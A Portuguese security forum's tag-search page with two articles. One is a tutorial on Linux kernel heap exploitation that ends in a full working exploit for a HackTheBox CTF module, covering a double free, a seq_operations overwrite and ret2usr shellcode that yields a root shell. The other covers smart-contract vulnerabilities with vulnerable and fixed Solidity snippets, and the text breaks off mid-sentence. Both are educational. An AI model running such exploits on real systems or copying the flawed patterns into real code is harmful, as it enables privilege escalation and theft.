Jump to content

Search the Community

Showing results for tags 'elt'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Supporter area
    • Tools of the Trade
    • Finance transparency
  • MBConf
    • MBConf v1
    • MBConf v2
    • MBConf v3
  • Mente Binária
    • General
    • Computer Architecture
    • Certifications
    • Quantum computing
    • Cryptography
    • Challenges and CTF
    • Hardware Hacking
    • Electronics
    • Conferences
    • Forensics
    • Games
    • Data privacy and laws
    • Code breaking
    • Networking
    • Pentest
    • Speak to us!
    • Software releases
  • Career
    • Study and profession
    • Jobs
  • Reverse Engineering
    • General
    • Malware Analysis
    • Firmware
    • Linux and UNIX-like
    • Windows
  • Programming
    • Assembly
    • C/C++
    • Python
    • Other languages
  • Operating Systems
    • GNU/Linux and UNIX-like
    • Windows
  • Segurança na Internet's Discussão

Categories

  • Portal Mente Binária
  • Specials

Categories

  • Tech basics
    • Text comprehension
    • English
    • Mathematics
  • Computing Basics
    • Lógica de Programação
    • Computers Architecture
    • Cryptography
    • Data Structures
    • Network
    • Operating Systems
  • Specifics
    • SO Internals
    • Web
    • Python
    • Javascript
    • Infrastructure
    • Go
    • Reverse Engineering
    • DevOps
    • C/C++
    • Log Analysis

Categories

  • Crackmes
  • Documentation
  • Debuggers
  • PE tools
  • Books
  • Util
  • Packers
  • Unpackers
  • Virtual Machines

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


GitHub


Twitter


LinkedIn


Website

Found 11 results

  1. Introdução Ao explorar bugs de corrupção de memória, mesmo que os tipos de bugs sejam quase sempre os mesmos (Use-after-free, Double-free, OOB, Overflow, etc), as técnicas que devem ser usadas para explorar o bug variam a depender de alguns fatores como a plataforma, a região de memória, o alocador, e muitos muitos outros. Nesse artigo vamos entender como explorar corrupções de memória nos alocadores utilizados nas principais builds do kernel linux, o SLUB e o SLAB, para alcançar primitivas de leitura e escrita na memória e algumas técnicas para usar essa primitivas para escalar o nosso privilégio no sistema com algumas proteções comuns. Note que para entender exploração de heap no kernel linux é ideal já estar familiar com assuntos de heap e de kernel, separadamente. SLUB O SLUB, é um alocador de memória, ou seja, quando o kernel chama a função kmalloc(), o SLUB é o responsável por alocar um objeto na memória com o tamanho solicitado e retornar um ponteiro para esse objeto e também por adicionar o objeto em algum cache para reuso quando o kernel chama a função kfree(). É importante destacar que existem outros alocadores como o SLAB. O alocador SLUB divide os objetos em diferentes regiões chamadas slabs, de acordo com o tamanho dos objetos. As slabs existentes dependem de como o kernel foi compilado mas normalmente a menor slab é a kmalloc-16, onde ficam armazenados os objetos com tamanho maior ou igual a 16 bytes, seguido pelo kmalloc-32, para os objetos com tamanho maior ou igual a 32 bytes, kmalloc-64, kmalloc-96, kmalloc-128... (normalmente alinhado a múltiplos de 32). Ou seja, todos os objetos de mesmo tamanho são alocados próximos uns aos outros. Portanto, é IMPOSSÍVEL, por exemplo, um objeto de 64 bytes ser adjacente a um objeto de 32 bytes (em breve vamos falar das implicações dessa observação na exploração). É importante também observar que o cache do SLUB consiste em freelists para cada slab. Essas freelists são linked-lists simples em que cada objeto da lista possui um ponteiro na primeira qword que aponta para o próximo objeto da lista. As freelists normalmente possuem um comportamento LIFO (Last in First Out), que significa que os objetos que foram liberados por último serão os primeiros a serem realocados. SLAB O SLAB é similar ao SLUB em quase todos os aspectos exceto pelo fato de que os objetos livres que estão nas freelists não possuem um ponteiro na primeira qword que aponte para o próximo objeto livre. Objetos no cache do SLAB não armazenam NENHUM tipo de metadado, tornando algumas das técnicas utilizadas no SLUB inviáveis. Corrompendo objetos É importante perceber no caso do SLUB que os ponteiros dos objetos livres são alvos fáceis uma vez que um objeto foi corrompido, permitindo que o próximo objeto do tamanho corrompido seja alocado em uma localização arbitrária ao fazer com que o kmalloc retorne um ponteiro arbitrário. Entretanto, lembre-se que o SLAB não possui estes ponteiros para que sejam corrompidos, ou seja, envenenar o cache não é possível se o alocador SLAB for utilizado, portanto, alcançar escrita e leitura arbitrárias não é tão simples quanto no SLUB. Para isso é preciso entender que todos os objetos de todos os subsistemas do linux usam o mesmo heap e os mesmos caches. Suponha uma corrupção de memória que permita sobrescrever objetos que estão inicialmente livres, seja um OOB, um buffer overflow, um use-after-free ou qualquer outra. Essa corrupção permitiria sobrescrever o objeto não somente enquanto ele está livre, mas também permitiria sobrescrevê-lo depois que já foi realocado, ou seja, é possível sobrescrever um objeto que armazene alguma estrutura importante que seja utilizada por outro subsistema. Com esse conceito em mente, imagine um subsistema sem vulnerabilidades com 4 syscalls que podem ser invocadas pela userland, syscall(SYS_init_obj, size_t sz); retorna um ponteiro para o objeto syscall(SYS_write_obj, void *in, size_t sz); escreve no objeto syscall(SYS_read_obj, void *out, size_t sz); copia os bytes do objeto para a userland syscall(SYS_del_obj); libera o objeto e destrói a referência Suponha também que o subsistema possui uma estrutura para esse objeto que fica no heap que tem os seguintes campos: void *data size_t sz Esta estrutura fica no heap, e por possuir 2 campos de 8 bytes cada, fica na slab kmalloc-16. Agora suponha que haja uma corrupção em outro subsistema e que seja um Use-after-free, por exemplo. Ou seja, existe um objeto livre que ainda pode ser acessado, neste caso, suponha acesso de escrita. Um caminho para abusar isso seria criar a condição de Use-after-free, ou seja, alocar o objeto vulnerável, e deletá-lo em seguida. E então chamar a syscall SYS_init_obj com o mesmo tamanho do objeto do vulnerável, assim, o comportamento LIFO do SLAB fará com que essa alocação utilize o último objeto que foi livre, ou seja, o objeto vulnerável. Com isso acabamos de criar uma interface de escrita e leitura arbitrárias. Assim, podemos usar o subsistema vulnerável para editar para onde o ponteiro data aponta e qual é o valor do tamanho sz e em seguida usar o subsistema alvo para ler e escrever utilizando os valores corrompidos. Numa situação real é possível que a corrupção de memória esteja restrita a um slab específico, portanto, é importante selecionar objetos alvo de acordo com o objetivo e o slab. Aqui está um compilado de alguns desses objetos. Algumas proteções O foco desse artigo é introduzir especificamente as técnicas relacionadas ao heap do kernel linux, tocando o mínimo possível em assuntos generalistas do kernel e de heap, separadamente. Portanto somente algumas proteções serão brevemente mencionadas. O kernel linux pode ser (e normalmente é) executado com algumas proteções que devem ser consideradas se presentes no ambiente, como: kASLR A versão kernel-mode do ASLR. Randomiza a base onde as regiões de memória do kernel são inicializadas, tornando a exploração muito difícil (e às vezes impossível) sem um vazamento que permita ler um ponteiro do kernel. SMEP Restringe a execução de memória em páginas da userland. Ou seja, se o PC em kernel-mode apontar para uma página alocada para a userland, isso causará uma exceção e um kernel panic. SMAP É uma extensão do SMEP, porém, não somente restringe a execução de páginas da userland mas também restringe o acesso direto de memória alocada para a userland. Ou seja, o acesso de leitura ou escrita em kernel-mode a uma página da userland causará uma exceção e um kernel panic. A única forma de acessar memória da userland com o SMAP habilitado é por meio da interface usercopy, que disponibiliza as funções copy_from_user e copy_to_user. Exemplificando com desafios de CTF Um desafio de nível introdutório é o knote do Hackthebox. Os arquivos do desafio estão todos no meu github. Vamos resolver o desafio com os conceitos que foram discutidos, começando com uma breve análise do módulo. Análise do módulo vulnerável [...] static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { mutex_lock(&knote_ioctl_lock); struct knote_user ku; if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user))) return -EFAULT; switch(cmd) { case KNOTE_CREATE: if(ku.len > 0x20 || ku.idx >= 10) return -EINVAL; char *data = kmalloc(ku.len, GFP_KERNEL); knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL); if(data == NULL || knotes[ku.idx] == NULL) { mutex_unlock(&knote_ioctl_lock); return -ENOMEM; } knotes[ku.idx]->data = data; knotes[ku.idx]->len = ku.len; if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) { kfree(knotes[ku.idx]->data); kfree(knotes[ku.idx]); mutex_unlock(&knote_ioctl_lock); return -EFAULT; } knotes[ku.idx]->encrypt_func = knote_encrypt; knotes[ku.idx]->decrypt_func = knote_decrypt; break; case KNOTE_DELETE: if(ku.idx >= 10 || !knotes[ku.idx]) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } kfree(knotes[ku.idx]->data); kfree(knotes[ku.idx]); knotes[ku.idx] = NULL; break; case KNOTE_READ: if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) { mutex_unlock(&knote_ioctl_lock); return -EFAULT; } break; case KNOTE_ENCRYPT: if(ku.idx >= 10 || !knotes[ku.idx]) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len); break; case KNOTE_DECRYPT: if(ku.idx >= 10 || !knotes[ku.idx]) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len); break; default: mutex_unlock(&knote_ioctl_lock); return -EINVAL; } mutex_unlock(&knote_ioctl_lock); return 0; } [...] O módulo funciona de forma relativamente simples, há somente uma função acessível para a userland por meio de uma chamada ioctl que permite executar 5 comandos: KNOTE_CREATE, KNOTE_DELETE, KNOTE_READ, KNOTE_ENCRYPT e KNOTE_DECRYPT. O comando KNOTE_CREATE e KNOTE_DELETE podem ser usados para criar um bug de double free: [...] char *data = kmalloc(ku.len, GFP_KERNEL); knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL); [...] if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) { kfree(knotes[ku.idx]->data); kfree(knotes[ku.idx]); [...] Explorando um double-free ku.data é um ponteiro controlado pela userland que aponta para os dados que devem ser copiados para o buffer knotes[ku.idx]->data (buffer alocado com o kmalloc) com a função copy_from_user. Caso a chamada para a função copy_from_user retorne um valor não nulo, ou seja, um erro, então a estrutura com o ponteiro e tamanho do buffer e o buffer em si, são liberados com o kfree sem anular o ponteiro para a estrutura no array knotes nem anular o ponteiro contido na estrutura que aponta para o buffer, ou seja, as referências todas são preservadas mesmo após os objetos já terem sido liberados e adicionados aos seus respectivos caches. Em muitas situações esse bug seria um use-after-free, mas este módulo não implementa forma nenhuma de editar o buffer depois que já foi criado, portanto, não é possível escrever diretamente no objeto. Entretanto, uma vez que a referência do objeto recém-liberado ainda existe, é possível usar o comando KNOTE_DELETE para liberar o objeto novamente, fazendo com que duas entradas do cache apontem para a mesma memória, o que fará com que as próximas duas alocações para essa slab se sobreponham. Corrompendo estruturas Ok, nós já podemos sobrepor objetos, mas ainda é preciso decidir quais objetos sobrepor da vasta gama de opções que o kernel Linux oferece. Para isso, podemos nos apoiar no compilado de estruturas documentadas que podem ser usadas para apoiar a exploração. O nosso objetivo deve ser sobrescrever um objeto que tenhamos pleno acesso de escrita com um outro que carregue estruturas críticas (como ponteiros de função ou ponteiros usados para leitura e/ou escrita). No caso desse desafio, as proteções SMAP e SMEP estão desabilitadas, por tanto, é possível executar memória da userland. Já que podemos executar memória da userland, podemos utilizar uma técnica chamada ret2usr, que consiste em alocar um shellcode em memória da userland e então apontar o PC em kernel-mode para esse endereço. Para essa tarefa, eu escolhi o objeto alocado pela função setxattr já que os dados e o tamanho desse buffer podem ser controlados pela userland no momento da alocação e como objeto alvo eu escolhi a estrutura seq_operations, já que essa estrutura armazena ponteiros de função.sexattr: setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; if (flags & ~(XATTR_CREATE|XATTR_REPLACE)) return -EINVAL; error = strncpy_from_user(kname, name, sizeof(kname)); if (error == 0 || error == sizeof(kname)) error = -ERANGE; if (error < 0) return error; if (size) { if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN); if (!kvalue) { kvalue = vmalloc(size); if (!kvalue) return -ENOMEM; } if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); return error; } seq_operations: struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; A estrutura seq_operations pode ser alocada ao abrir o arquivo /proc/self/stat da seguinte forma: open("/proc/self/stat",O_RDONLY);. O objeto elástico e controlável alocado pela setxattr pode ser alocado da seguinte forma: setxattr("/path/qualquer","nome_qualquer", &buffer, tamanho, 0); Uma vez que o objeto seq_operations foi alocado, o ponteiro start, na primeira qword da estrutura, pode ser dereferenciado e executado quando quisermos ao chamar read(target, buffer_qualquer, 1); sendo target o file descriptor retornado pelo open ao abrir o /proc/self/stat. Escalar privilégios Este artigo tem o objetivo de descrever com detalhe as técnicas de manipulação do heap no kernel linux, sendo assim, passaremos muito brevemente pela escrita do shellcode para que o foco original seja mantido, mas para os que não entendem do assunto e gostariam de entender mais, eu recomendo a série de nível introdutório de kernel exploitation do lkmidas. Por último, precisamos escrever um shellcode que possa nos colocar em uma shell de root. Uma forma de fazer isso é utilizando um shellcode que execute algo como commit_creds(prepare_kernel_cred(0)) que criará um instância da estrutura cred com os ids setados para 0, ou seja, uma credencial de root, e então tornará essa a nova cred do processo atual. Se o kASLR estivesse habilitado (que não é o caso) nós precisaríamos de um vazamento de um ponteiro do kernel para calcular os endereços das funções commit_creds e prepare_kernel_cred. Também devemos escrever um segundo shellcode que será executado pelo nosso programa em user-mode antes de começar o exploit para salvar os registradores que serão restaurados quando o shellcode executado pelo PC em kernel-mode trocar o contexto de volta para user-mode e por fim abrir uma shell. [...] void bak(){ __asm__( ".intel_syntax noprefix;" "mov bak_cs, cs;" "mov bak_ss, ss;" "mov bak_rsp, rsp;" "pushf;" "pop bak_rflags;" ".att_syntax;" ); puts("[+]Registers backed up"); } [...] void shellcode(){ __asm__( ".intel_syntax noprefix;" "mov rdi, 0;" "movabs rbx, 0xffffffff81053c50;" "call rbx;" "mov rdi, rax;" "movabs rbx, 0xffffffff81053a30;" "call rbx;" "swapgs;" "mov r15, bak_ss;" "push r15;" "mov r15, bak_rsp;" "push r15;" "mov r15, bak_rflags;" "push r15;" "mov r15, bak_cs;" "push r15;" "mov r15, bak_rip;" "push r15;" "iretq;" ".att_syntax;" ); [...] Exploit final Recapitulando brevemente, nossa técnica consistiu em: Criar a condição de double free; Alocar um objeto seq_operations que contém ponteiros de função; Alocar um objeto setxattr para sobrepôr o objeto seq_operations e sobrescrever um ponteiro de função com um ponteiro para o nosso shellcode na userland; Fazer com que o ponteiro de função corrompido seja chamado, que resultará na execução do nosso shellcode; O meu código para a solução do desafio ficou assim: #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/xattr.h> #define KNOTE_CREATE 0x1337 #define KNOTE_DELETE 0x1338 #define KNOTE_READ 0x1339 #define KNOTE_ENCRYPT 0x133a #define KNOTE_DECRYPT 0x133b int dev, target; /* Module structs */ typedef struct { char *data; size_t len; void (*encrypt_func)(char *, size_t); void (*decrypt_func)(char *, size_t); } knote; typedef struct { unsigned long idx; char * data; size_t len; } knote_user; /* Backup registers */ unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip; void bak(){ __asm__( ".intel_syntax noprefix;" "mov bak_cs, cs;" "mov bak_ss, ss;" "mov bak_rsp, rsp;" "pushf;" "pop bak_rflags;" ".att_syntax;" ); puts("[+]Registers backed up"); } /* Helper functions */ void debug(){ puts("[+]Halted execution"); getchar(); } void open_dev(){ dev = open("/dev/knote",O_RDONLY); puts("[+]Interacting with device"); } void do_create(unsigned long idx, char *data, size_t len){ knote_user note = { .idx = idx, .data = data, .len = len }; ioctl(dev,KNOTE_CREATE,&note); } void do_delete(unsigned long idx){ knote_user note = { .idx = idx }; ioctl(dev,KNOTE_DELETE,&note); } void bin_sh(){ printf("[+]UID: %d\n",getuid()); close(target); system("/bin/sh"); } unsigned long bak_rip = (unsigned long)bin_sh; void shellcode(){ __asm__( ".intel_syntax noprefix;" "mov rdi, 0;" "movabs rbx, 0xffffffff81053c50;" "call rbx;" "mov rdi, rax;" "movabs rbx, 0xffffffff81053a30;" "call rbx;" "swapgs;" "mov r15, bak_ss;" "push r15;" "mov r15, bak_rsp;" "push r15;" "mov r15, bak_rflags;" "push r15;" "mov r15, bak_cs;" "push r15;" "mov r15, bak_rip;" "push r15;" "iretq;" ".att_syntax;" ); } /* Exploit */ int main(){ char payload[0x20]; void *func_ptr = &shellcode; bak(); open_dev(); /* Double free */ do_create(0, (char *)0x1337000, 0x20); do_delete(0); /* Allocate seq_operations */ target = open("/proc/self/stat", O_RDONLY); /* Consume free entry */ open("/proc/self/stat", O_RDONLY); /* Overlap w/ setxattr */ setxattr("/proc/self/stat","exploit", &func_ptr, 0x20, 0); read(target, payload, 1); return 0; } Considerações finais O heap do kernel linux é bastante complexo e várias técnicas não foram cobertas, diferentes bugs são explorados de diferentes formas em diferentes alocadores com diferentes configurações, logo, escrever um exploit exige compreender e ler a implementação do alocador (qual é a rotina para alocar e remover objetos? Como funciona o gerenciamento dos caches?), entender a capacidade total de cada bug (o que dá para fazer com essa vuln?) e entender o objetivo do exploit (que valor na memória eu posso querer corromper?). Esses conhecimentos e questionamentos podem servir de guia para escolher estruturas para corromper, técnicas, objetos usados para moldar a memória, etc. Referências https://docs.google.com/viewerng/viewer?url=http://www.personal.psu.edu/yxc431/publications/SLAKE.pdf https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#任意データ書き込みHeap-Sprayに使える構造体 https://0xten.gitbook.io/public/hackthebox/retired-challenges https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
  2. Nesse artigo vamos abordar sobre segurança de smart contracts, que afetam diretamente dApps e o universo das criptomoedas, uma vez que os contratos são a base da Web3. Veremos as principais vulnerabilidades nesse ecossistema e uma vulnerabilidade real crítica que foi encontrada. O problema dessas vulnerabilidades é que, como o universo blockchain tem uma forte relação com dinheiro, elas são capazes de causar danos financeiros de bilhões de dólares. O que exatamente é Web3? Web3 é o nome que se dá a "nova era" da internet que está surgindo com a tecnologia blockchain e Smart Contracts. Na Web3 temos a descentralização como a principal característica, "descentralized Applications" (dApps) é o nome que se dá às aplicações dessa nova categoria, onde não existe um servidor centralizado, tudo está registrado na blockchain, que é uma tecnologia descentralizada por design. Nessas aplicações podemos encontrar governanças descentralizadas (DAOs), tokens sendo a moeda principal da aplicação ao invés de real ou dólar e, o principal, códigos sendo executados na blockchain por meio de Smart Contracts. E o que são Smart Contracts? Smart Contracts são códigos com funções definidas que, quando são chamadas e executadas, se a execução for bem sucedida, tudo é registrado na blockchain, e a partir daí nada mais altera o que foi executado e nem retira da blockchain. Smart Contracts podem ser escritos em diversas linguagens atualmente, mas quando estavam surgindo, a linguagem Solidity foi criada para essa finalidade. O que executa os Smart Contracts é a Ethereum Virtual Machine (EVM) que é uma máquina de estado mantida por vários computadores rodando um "node" do Ethereum. Aqui vamos falar da rede Ethereum que foi a que introduziu o conceito de Smart Contracts, porém muitas outras redes agora também usam essa tecnologia, como a Binance Smart Chain (BSC), Solana, Polygon etc. Rede Ethereum A rede Ethereum é uma das redes mais consolidadas e famosas do universo crypto, foi pioneira no modelo de Smart Contracts e possui como criptomoeda nativa o Ether (ETH). Qualquer um é livre para criar uma aplicação descentralizada na rede Ethereum, o que significa que qualquer um pode escrever um Smart Contract e fazer "deploy" dele na rede. Quando o deploy de um Smart Contract é feito, é atribuído um endereço a ele (address), assim como carteiras de pessoas também possuem um endereço. Para chamar uma função de um Smart Contract é necessário passar exatamente o que é para ser chamado no campo data de uma transação e assiná-la com sua chave privada (hoje existem várias bibliotecas que fazem isso automaticamente para você), além disso, também é necessário pagar uma taxa de transação, chamada de "gas fee" (pago em ETH). Levando em conta que qualquer pessoa, a qualquer hora pode executar funções de outros Smart Contracts é necessário que o código destes esteja bem seguro, se não podem haver danos desastrosos. Vulnerabilidades em Smart Contracts Vamos percorrer algumas vulnerabilidades listadas no TOP 10 da DASP (Descentralized Application Security Project) - https://dasp.co/ Esse é o último TOP 10 vulnerabilidades em Smart Contracts que foram divulgadas pela DASP em 2018: 1. Reentrancy 2. Access Control 3. Arithmetic 4. Unchecked Low Level Calls 5. DoS 6. Bad Randomness 7. Front Running 8. Time manipulation 9. Short Addresses 10. Unknown Unknowns 1. Reentrancy Reentrancy é provavelmente a vulnerabilidade mais famosa dos Smart Contracts, que já foi encontrada em diversos contratos de grandes dApps e podia causar milhões de dólares de prejuízo. A vulnerabilidade é causada quando uma função de um contrato chama uma função do controle do atacante, a partir daí é possível chamar a mesma função novamente e, dependendo de como essa função está programada, é possível induzir erros na lógica da aplicação. Exemplo function withdraw(uint _amount) external{ require(balances[msg.sender] >= _amount); msg.sender.transfer(_amount); balances[msg.sender] -= _amount; } Essa função, parte de um Smart Contract programado em solidity, tem o objetivo de sacar ETH que estava armazenado nesse contrato. Antes de ver a vulnerabilidade, precisamos saber um pouco sobre algumas coisas do solidity para melhor entendimento da função. A variável balances é um mapping(address => uint), isso significa que é um "dicionário" que usa o endereço de uma carteira (address) como a chave e usa um valor inteiro positivo (uint) como valor dessa chave, nesse caso, o valor inteiro está representando a quantidade de ETH que aquele endereço possui (solidity não utiliza valores decimais, ele utiliza wei - 1 ETH = 10^18 wei ). Outra coisa que gera confusão é o msg.sender, que para o solidity é quem chamou essa função, podendo ter sido uma carteira comum (EOA - Externally Owned Account) ou um Smart Contract. Isso significa que esses 2 tipos de carteira podem chamar essa função, porém os Smart Contracts têm funcionalidades a mais que podem ser usadas para explorar a vulnerabilidade. O fluxo dessa função é o seguinte: - Requer que o valor requisitado para sacar (_amount) seja menor do que o valor que o address realmente tem armazenado nesse contrato, caso contrário, a transação é revertida e não altera nada no estado da blockchain. - Envia os ETH requisitados para quem chamou a função (msg.sender) e chama a função receive(), se definida, no msg.sender. (para isso, o msg.sender deve ser um Smart Contract e não um EOA) - Atualiza o valor do balances de acordo com o quanto foi sacado. Agora vamos para a vulnerabilidade em si. Essa função, ao transferir ETH para quem a chamou, executa a função receive() por padrão (se existir no contrato que a chamou). Portanto, nessa situação é possível escrever um Smart Contract em que a função receive() chama a função withdraw() desse contrato novamente. Assim, é possível sacar diversas vezes o valor que você possui pelo simples fato do valor de balances[msg.sender] ser atualizado apenas no final da função, que não é alcançado enquanto o receive() chamar withdraw() novamente. Como o valor de balances[msg.sender] não é alterado, o require() no começo da função sempre vai ser verdadeiro, sendo possível roubar mais valor do que você depositou no contrato. fallback() é o que era chamado ao invés de receive() em versões anteriores do solidity. Mitigação Para deixar seu código livre de vulnerabilidades Reentrancy, existe um modificador de função (modifier) criado pelo OpenZeppelin que permite que a função não seja executada em Reentrancy, ou seja, se a função for chamada novamente em uma mesma execução. Documentação do ReentrancyGuard e nonReentrant Aqui está o código com a vulnerabilidade corrigida: function withdraw(uint _amount) external nonReentrant{ require(balances[msg.sender] >= _amount); msg.sender.transfer(_amount); balances[msg.sender] -= _amount; } 2. Access Control Vulnerabilidades de controle de acesso são falhas de segurança relacionadas às permissões de cada endereço. O gerenciamento de permissões pode ser feito de forma mais simples apenas armazenando o address do criador do contrato (quem fez o deploy do contrato), ou pode utilizar ferramentas mais complexas, como gerenciamento por cargo (roles) usando o Role-Based Access Control do OpenZeppelin . Se seu contrato gerenciar permissões de forma errada, é possível que esteja vulnerável a ataques de controle de acesso. Exemplo function initContract() public { owner = msg.sender; } Nesse trecho de código, existe uma função que define o dono do contrato, que provavelmente possui permissões sensíveis que não podem ser acessíveis por qualquer um. Entretanto, esse código está vulnerável, pois essa função pode ser chamada por qualquer pessoa uma vez que o modifier public está presente na definição da função e, portanto, se transformar no dono do contrato (msg.sender é o endereço de quem chamou a função). Mitigação Um código escrito de forma correta seria não criar uma função acessível para qualquer um poder ganhar permissões. Para isso, ao invés de definir o owner em uma função public, deve ser definido na função construtora do contrato - constructor(), que é uma função que só é executada quando o contrato é inserido na blockchain (quando for feito o seu deploy). constructor(){ owner = msg.sender; } 3. Arithmetic Issues Dentro dessa categoria está incluído integer overflow e integer underflow, porém, as versões do solidity >=0.8 checam se está ocorrendo um overflow ou underflow antes de fazer a aritmética e, por isso, não são vulnerabilidades exploráveis nas versões atuais do solidity. Apesar disso, ainda existem vulnerabilidades de aritmética que podem ser exploradas caso o código não tenha cuidado com os valores da aritmética. Um vetor de ataque interessante são as divisões em que é possível controlar o numerador ou o denominador. A causa desse erro aritmético é o fato de solidity não suportar números do tipo float. Toda aritmética deve utilizar algum formato de inteiro, sendo o uint256 o tipo mais utilizado no solidity. Sabendo disso, no caso em que é possível controlar o numerador ou denominador em divisões, é possível deixar o dividendo menor que o divisor, que é para resultar um número 0 < x < 1, porém, o solidity interpreta como 0. Exemplo function _computeOraclePrice() private view returns (uint256) { return uniswapPair.balance / token.balanceOf(uniswapPair); } Essa função utiliza a quantidade existente de um token e de ETH na Uniswap (Descentralized Exchange - DEX - utilizado para trocas de um token pelo outro -> "swap"). Nessa situação, o atacante pode trocar muitos desses tokens por ETH na Uniswap, fazendo com que o contrato da Uniswap tenha menos ETH e mais tokens, e, dessa forma manipular o preço do token para 0, explorando a falha aritmética nessa função (uniswapPair.balance pega a quantidade de ETH e token.balanceOf(uniswapPair) pega a quantidade de tokens). Mitigação Deve-se ter certeza de que o numerador é maior que o denominador. Uma forma de fazer isso é multiplicar o numerador por um valor alto. function _computeOraclePrice() private view returns (uint256) { return ((uniswapPair.balance * 10 ** 18) / token.balanceOf(uniswapPair)); } Logicamente, depois vai ser necessário tratar esse valor uma vez que o valor está 10^18 vezes maior do que deveria estar. 4. Unchecked Low-Level Calls Chamadas de baixo nível no solidity são funções que, mesmo que ocorra um erro, a transação não é revertida. Ao invés disso, ao ocorrer um erro, o retorno da função é igual a false. A vulnerabilidade ocorre em certos casos onde a função de baixo nível não é bem sucedida e o código não verifica essa condição, que deve ser feita checando se o valor de retorno da função é false. Exemplo function deposit(uint256 _amount) external{ token.call( abi.encodeWithSignature( "transferFrom(address,address,uint256)", msg.sender, address(this), _amount ) ); balances[msg.sender] += _amount; } Nessa função de depósito de tokens, o código usa uma função de baixo nível do solidity call(), que chama uma função do contrato do token transferFrom() (que faz parte do padrão ERC20 que permite transferir tokens de outras carteiras para outra carteira, mas, para isso ser possível, é necessário que o dono da carteira permita essa outra carteira a usar o transferFrom(). Essa funcionalidade é chamada de Allowance e o dono da carteira deve chamar a função approve() para permitir essa outra carteira acessar seus tokens. Após a transferência da carteira que está fazendo o depósito para o próprio contrato (address(this) = endereço do próprio contrato), a variável balances é alterada. Apesar do código usar o transferFrom de forma correta, é possível que a execução dessa função falhe por alguns motivos, como por exemplo, a carteira não ter permitido o Allowance por meio do approve() ou a carteira não ter a quantidade de tokens requisitados para transferência. Ao falhar, a transação não será revertida, isso significa que o código continuará executando até o fim ou até que um outro erro reverta a transação. Dessa forma, o balances[msg.sender] será alterado sem que nenhum token seja enviado de fato para o contrato. Mitigação Para deixar o código livre de vulnerabilidades existe 2 formas nesse caso: - Não utilizar chamadas de baixo nível já que não é necessário nessa situação - Checar o resultado da função call() function deposit(uint256 _amount) external{ token.transferFrom(msg.sender, address(this), _amount); balances[msg.sender] += _amount; } Sem utilizar chamadas de baixo nível, um erro na função transferFrom() vai resultar em uma reversão na transação. 5. Denial of Service (DoS) DoS é uma falha de segurança a qual é possível tornar um serviço inoperante. Nos Smart Contracts isso pode ser feito de várias formas: - Fazer com que uma condição dentro de um require() sempre seja falsa - Abusando de erros de Access Control para deixar o serviço inoperante - Se comportando de forma maliciosa quando é o recipiente de uma transação (com a função receive()) - Diferentes maneiras de exceder o gas limit Gas fee é o nome que se dá à taxa de transação necessária para colocar a transação na blockchain. O gas é pago para o minerador do bloco da sua transação e é necessário para que haja o incentivo de ter mineradores na rede. Gas limit é o gas máximo que a transação pode consumir, caso exceda esse limite, a transação é revertida. Exemplo function becomePresident() external payable { require(msg.value >= price); // must pay the price to become president president.transfer(price); // we pay the previous president president = msg.sender; // we crown the new president price = price * 2; // we double the price to become president } Aqui é possível abusar do código se o atacante for o presidente. No momento que é feito a transferência de ETH para o presidente (que é um Smart Contract), o atacante pode criar uma função receive() que crie um loop infinito e acabe com o gas limit da transação, fazendo ela reverter. Dessa forma nunca será possível se tornar presidente enquanto essa função existir. Mitigação Não é recomendado deixar endereços externos não confiáveis definirem o que executar na transação de outra carteira. Uma forma de fazer isso é utilizando tokens ERC20 para a transferência, que não chama nenhum callback definido pelo recipiente. O ETH é uma criptomoeda nativa da rede Ethereum, portanto ele não é um ERC20, porém ele possui uma versão ERC20 chamada WETH (Wrapped ETH). 6. Bad Randomness Randomização sempre foi algo difícil de aplicar e, uma randomização previsível pode implicar em problemas de segurança. Algumas vulnerabilidades de randomização originam-se de tentar criar algum segredo no código como a seed do algoritmo, porém deve-se lembrar que a blockchain é pública e todos podem ver o que está sendo alterado em seu estado. Exemplo 1. Um Smart Contract que implementa um jogo de azar - quem acertar o número da sorte recebe uma recompensa 2. O número da sorte é definido utilizando um algoritmo de randomização predizível 3. O atacante prevê o número da sorte corretamente todas as vezes e recebe todas as recompensas do contrato Mitigação Existem jeitos seguros de gerar numeros pseudoaleatórios que não são predizíveis. Aqui está uma forma de implementar um RNG de forma segura. 7. Front-Running / Race Condition Mineradores na blockchain são recompensados a partir do gas fee pago pelas pessoas que desejam fazer transações. Essas pessoas podem definir o preço do gas que vão pagar (gas price) e isso define a rapidez que sua transação será processada, uma 